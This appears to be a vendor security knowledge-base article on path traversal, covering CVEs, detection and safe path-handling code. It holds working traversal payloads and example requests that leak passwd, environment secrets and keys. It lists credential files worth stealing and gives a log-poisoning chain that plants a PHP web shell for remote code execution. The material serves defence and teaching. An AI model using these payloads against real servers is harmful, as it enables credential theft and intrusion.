Uses ../ sequences in filename parameters to escape the intended directory and read arbitrary files on the server filesystem.
TL;DR
../ chains in file parameters to escape the application's base directory/proc/self/environ often contains cloud secrets (AWS_SECRET_ACCESS_KEY, DATABASE_URL) in runtime environments@/etc/passwd CLI argument expansion — unauthenticated file reados.path.realpath + startsWith(base + sep) — not string replacement of ../Basic path traversal exploits the filesystem's .. directory entry, which refers to the parent of the current directory. When an application builds a file path by concatenating a fixed base directory with user-supplied input — without normalizing the result — an attacker can insert repeated ../ sequences to climb above the intended base and reach any accessible file on the server.
Under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) and OWASP A01:2021, this is the foundational form of the vulnerability class. It requires no encoding, no special characters beyond ., /, and alphanumerics, and no authentication. The attack works because POSIX filesystem resolution handles .. silently: /var/www/uploads/../../etc/passwd resolves exactly to /etc/passwd.
The vulnerability is most common in file download endpoints, document viewers, template loaders, log viewers, and any feature that accepts a filename or path as a request parameter. Tier-1 parameter names — file, path, page, template, include, resource, document, lang, theme — carry historical association with direct filesystem access, but any parameter whose value resembles a path is a candidate.
The server constructs a full filesystem path by joining a hardcoded base directory with the user-supplied value. Without canonical resolution before the filesystem call, .. segments escape the base.
GET /download?file=../../../../etc/passwd HTTP/1.1
Host: vulnerable.example.com
HTTP/1.1 200 OK
Content-Type: application/octet-stream
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinGET /api/files?name=../../../proc/self/environ HTTP/1.1
Host: vulnerable.example.com
HTTP/1.1 200 OK
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
HOME=/app
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalrXUt...
DATABASE_URL=postgresql://admin:password@db:5432/prodThe depth of traversal required depends on how deeply the base directory is nested. Using 7 ../ repetitions ensures success regardless of nesting level, because extra .. sequences at the filesystem root are silently discarded by POSIX resolution.
| Variant | Payload | Target | Impact |
|---|---|---|---|
| Credential disclosure | ../../../../etc/passwd | Linux servers | User enumeration |
| Secret exfiltration | ../../../../proc/self/environ | Any containerized app | Cloud keys, DB passwords |
| SSH key theft | ../../../../root/.ssh/id_rsa | Root-accessible servers | Direct SSH access |
| AWS credential theft | ../../../../root/.aws/credentials | Cloud-hosted apps | Full AWS account access |
| Spring config | ../WEB-INF/classes/application.properties | Java/Tomcat | Database credentials, secrets |
| Web descriptor | ../WEB-INF/web.xml | Tomcat, AltoroJ | App structure, servlet config |
| LFI to log poisoning | ../../../../var/log/apache2/access.log&cmd=id | PHP apps with Apache | Remote code execution |
| PHP source disclosure | php://filter/convert.base64-encode/resource=index.php | PHP apps | Source code, hardcoded creds |
The following files represent the highest-impact read targets on Linux servers. Each includes its confirmation marker — the pattern that confirms successful traversal in the response body.
| File | Confirmation Marker | Impact |
|---|---|---|
/etc/passwd | root:x:0:0: | User enumeration |
/etc/shadow | $6$, $y$, $2b$ | Password hash offline cracking |
/proc/self/environ | PATH=, HOME=, DATABASE_URL= | Runtime secrets (cloud keys, DB URLs) |
/proc/self/cmdline | php, python, java, gunicorn | Process fingerprinting |
~/.ssh/id_rsa | -----BEGIN OPENSSH PRIVATE KEY----- | SSH login to all systems using this key |
~/.aws/credentials | [default], aws_access_key_id= | Full AWS account compromise |
/app/.env, /.env | DATABASE_URL=, SECRET_KEY=, API_KEY= | All application secrets in one file |
/var/log/apache2/access.log | HTTP request lines | LFI to RCE via log poisoning |
Log poisoning converts a basic file read into remote code execution in three steps, requiring only that the web server process can read its own access log.
Step 1 — Poison the log by injecting PHP code into a header that Apache or Nginx logs verbatim:
GET / HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['cmd']); ?>Apache writes this line into /var/log/apache2/access.log:
192.168.1.1 - - [09/May/2026:10:15:00 +0000] "GET / HTTP/1.1" 200 612 "-" "<?php system($_GET['cmd']); ?>"Step 2 — Include the log via the path traversal parameter:
GET /download?file=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
Host: target.com
uid=33(www-data) gid=33(www-data) groups=33(www-data)Alternative log files when Apache access log is not readable: /var/log/nginx/access.log, /var/log/auth.log (poisonable via SSH login with PHP code as the username), and /proc/self/fd/2 (process stderr, always readable by the process itself).
CVE-2024-23897 — Jenkins CLI Arbitrary File Read (CVSS 9.8, CISA KEV): Jenkins' args4j CLI argument parser enabled a feature called expandAtFiles() that replaced @/path/to/file tokens in CLI arguments with the file's contents. An unauthenticated attacker sent CLI commands over HTTP, WebSocket, or SSH containing arguments like @/var/jenkins_home/secrets/master.key or @/etc/passwd. The Jenkins server read and returned the file contents as part of the CLI error output. No authentication was required. The RansomEXX ransomware group exploited this vulnerability to steal credentials from a supplier of India's National Payments Corporation, causing service disruption across 300+ banks. CISA added it to the Known Exploited Vulnerabilities catalog with a mandatory remediation deadline of September 9, 2024. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
CVE-2023-2825 — GitLab Unauthenticated Path Traversal (CVSS 10.0): Arbitrary file read via path traversal in GitLab Community Edition and Enterprise Edition via public nested project URL handling. No authentication required. Demonstrated read of /etc/passwd, GitLab runner registration tokens, SSH private keys, and internal configuration files. Analyzed by WatchTowr Labs and Fastly security teams. A related HackerOne report (#733072) documented a variant in the GitLab Package Registry API that allowed writing files to arbitrary locations, chaining to RCE.
CVE-2024-23334 — aiohttp Static File Serving (CVSS 7.5): The Python aiohttp library's static file serving feature failed to normalize path traversal sequences in request URIs. Applications using StaticResource to serve files from a directory were vulnerable to arbitrary file read. Exploited by ransomware operators who scanned for aiohttp deployments using Shodan within days of disclosure.
file, filename, path, page, template, include, resource, doc, lang, layout, theme, download, attachment.../../../../etc/passwd and measure the response size. A response substantially larger than a typical error page warrants investigation./etc/passwd confirmation markers: root:x:0:0:, /bin/bash, nologin.../WEB-INF/web.xml — confirmation marker is <web-app./proc/self/environ in the target set — confirmation is any of AWS_ACCESS_KEY_ID=, GOOGLE_APPLICATION_CREDENTIALS=, AZURE_CLIENT_SECRET=.BreachVex detects basic path traversal through multiple complementary techniques: template-based scanning tagged lfi and traversal, parameter fuzzing across a tiered list of LFI-prone parameter names, direct HTTP verification using 22 payload variants against file-specific confirmation regexes, and an extended LFI prover with a three-criterion content gate. BreachVex escalates severity to CRITICAL when /etc/shadow or ~/.ssh/id_rsa is confirmed, and flags findings as RCE-capable when php://filter wrapper access is confirmed.
import os
BASE_DIR = os.path.realpath("/var/www/app/uploads")
def safe_download(filename: str) -> bytes:
# os.path.realpath resolves all .., symlinks, and encoding before validation
requested = os.path.realpath(os.path.join(BASE_DIR, filename))
# Trailing os.sep prevents /uploads_backup from passing the /uploads check
if not requested.startswith(BASE_DIR + os.sep):
raise PermissionError(f"Access denied: {filename!r}")
with open(requested, "rb") as f:
return f.read()// Java — getCanonicalFile resolves all .. and symlinks
import java.io.*;
import java.nio.file.*;
public byte[] safeDownload(String filename) throws IOException {
File base = new File("/app/uploads").getCanonicalFile();
File requested = new File(base, filename).getCanonicalFile();
// toPath().startsWith() is prefix-safe unlike String.startsWith
if (!requested.toPath().startsWith(base.toPath())) {
throw new SecurityException("Path traversal attempt: " + filename);
}
return Files.readAllBytes(requested.toPath());
}Restrict the set of readable file extensions to those the feature legitimately needs. This limits the attack surface even if path validation fails:
ALLOWED_EXTENSIONS = {".pdf", ".png", ".jpg", ".jpeg", ".csv", ".xlsx"}
def validate_extension(filename: str) -> None:
ext = os.path.splitext(filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError(f"File type not permitted: {ext!r}")Never use string replacement to strip ../ from user input as a defense. The bypass ....// becomes ../ after a single-pass strip. Recursive stripping can be bypassed with interleaved sequences. The only safe approach is canonical path resolution followed by a prefix assertion.
# Map opaque identifiers to real paths — user never controls the path directly
ALLOWED_FILES = {
"invoice_2025_q1": "/app/invoices/2025_q1.pdf",
"report_annual": "/app/reports/annual_2025.pdf",
}
def get_file(key: str) -> bytes:
path = ALLOWED_FILES.get(key)
if path is None:
raise ValueError("Unknown file identifier")
with open(path, "rb") as f:
return f.read()Basic path traversal (CWE-22) inserts ../ sequences into parameters that feed filesystem operations. Each ../ navigates one directory level upward. With enough repetitions, the attacker escapes the application's base directory and reaches sensitive files like /etc/passwd, /proc/self/environ, or ~/.ssh/id_rsa.
Parameters named file, filename, filepath, path, include, page, template, module, resource, document, doc, view, download, attachment, export, report, log, config, lang, locale, theme, and layout are Tier-1 targets. Any parameter whose value resembles a file path — starting with /, containing .., or ending in a file extension — is a candidate regardless of name.
Typically 4-7 repetitions suffice because excess ../ sequences at the filesystem root are silently discarded. The path /../../../../etc/passwd and /../../../../../../../../../../etc/passwd both resolve to /etc/passwd. Most public payloads use 7 repetitions to ensure traversal succeeds regardless of how deeply nested the application's base directory is.
For /etc/passwd: lines matching root:x:0:0: and /bin/bash. For /etc/shadow: hashes beginning with $6$, $y$, or $2b$. For /proc/self/environ: key=value pairs including PATH=, HOME=, and frequently DATABASE_URL= or AWS_SECRET_ACCESS_KEY=. For WEB-INF/web.xml: the XML tag <web-app.
Log poisoning chains path traversal into remote code execution. Step 1: send a request with User-Agent containing PHP code (<?php system($_GET['cmd']); ?>). Apache and Nginx write this into access.log verbatim. Step 2: include the log via the path traversal parameter (?file=../../../var/log/apache2/access.log&cmd=id). The PHP interpreter executes the injected code.
Yes. Jenkins' args4j CLI parser's expandAtFiles() feature replaced @/path/to/file tokens with file contents. An unauthenticated attacker passed @/etc/passwd or @/var/jenkins_home/secrets/master.key as a CLI argument to read arbitrary files. CVSS 9.8, added to CISA KEV, exploited by RansomEXX to shut down 300+ Indian banks.
CVE-2023-2825 is a CVSS 10.0 unauthenticated path traversal in GitLab CE/EE. Attackers crafted URLs referencing files via relative path traversal sequences in the public project URL structure. No authentication was required to read /etc/passwd, SSH private keys, and GitLab runner registration tokens.
BreachVex applies a three-criterion content gate: HTTP status must be 200, response body must be at least 10 bytes, and the body must match a file-specific marker regex (e.g., root:x?:[0-9]+:[0-9]+: for /etc/passwd). Initial scanning or fuzzing hits that fail the content gate are demoted to a low-severity potential finding rather than suppressed.
/etc/shadow exposes password hashes for offline cracking. /proc/self/environ frequently contains secrets injected as environment variables by Docker, Kubernetes, and cloud platforms — AWS_SECRET_ACCESS_KEY, DATABASE_URL, API_KEY. ~/.ssh/id_rsa provides direct SSH access. Application .env files often contain all credentials in one file.